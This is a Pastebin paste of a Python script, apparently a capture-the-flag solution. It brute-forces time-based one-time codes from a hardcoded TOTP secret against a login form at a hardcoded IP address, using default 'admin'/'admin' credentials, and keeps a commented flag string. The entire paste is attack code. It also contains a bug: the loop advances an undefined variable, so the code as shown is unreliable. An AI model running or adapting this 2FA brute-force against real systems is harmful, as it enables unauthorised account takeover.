Advertisement
carlosmfp

script.py

Oct 17th, 2024
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.04 KB | Source Code | 0 0
  1. import sys
  2. import pyotp
  3. import requests
  4. from datetime import datetime, timedelta
  5.  
  6. a = "3IXHPU54NDKVAaFdVXW6M2bCNWOeBGQeGDdcCaXA"
  7. totp = pyotp.TOTP(a)
  8.  
  9. def gen_otps_for_time(base_time):
  10.     times = [
  11.         base_time - timedelta(seconds=30),
  12.         base_time,
  13.         base_time + timedelta(seconds=30)
  14.     ]
  15.     return [(time, totp.at(time.timestamp())) for time in times]
  16.  
  17. def send_otps(username: str, password: str, n_months: int = 1):
  18.     url = "http://45.164.23.212:3000/"
  19.     headers = {
  20.         "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
  21.         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
  22.         "Accept-Language": "en-US,en;q=0.5",
  23.         "Accept-Encoding": "gzip, deflate, br",
  24.         "Referer": "http://45.164.23.212:3000/",
  25.         "Content-Type": "application/x-www-form-urlencoded",
  26.         "Origin": "http://45.164.23.212:3000",
  27.         "Dnt": "1",
  28.         "Upgrade-Insecure-Requests": "1",
  29.         "Priority": "u=0, i",
  30.     }
  31.    
  32.     current_time = datetime.now()
  33.     months_ago = current_time - timedelta(days=30 * n_months)
  34.  
  35.     while months_ago <= current_time:
  36.         otps = gen_otps_for_time(months_ago)
  37.         for time, otp in otps[::-1]:
  38.             data = f"username={username}&password={password}&totp={otp}"
  39.             response = requests.post(url, data=data, headers=headers)
  40.             if "2FA code is incorrect" in response.text:
  41.                 print(f"!!!!!!!!! diff response for OTP: {otp} at time: {time} !!!!!!!!!!")
  42.                 print(f"\tflag http: {response.text}")
  43.                 # break
  44.             else:
  45.                 print(f"request OTP: {otp} at: {time}, response: {response.text}")
  46.         one_month_ago += timedelta(days=1)
  47.  
  48.  
  49. if __name__ == '__main__':
  50.     #flagmx{time_based_pass_r_not_realy_random}
  51.     try:  
  52.         n = int(sys.argv[1])
  53.     except IndexError as e:
  54.         n = 1
  55.     finally:
  56.         send_otps("admin", "admin", n_months=n)
  57.  
  58.     sys.exit(0)
  59.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement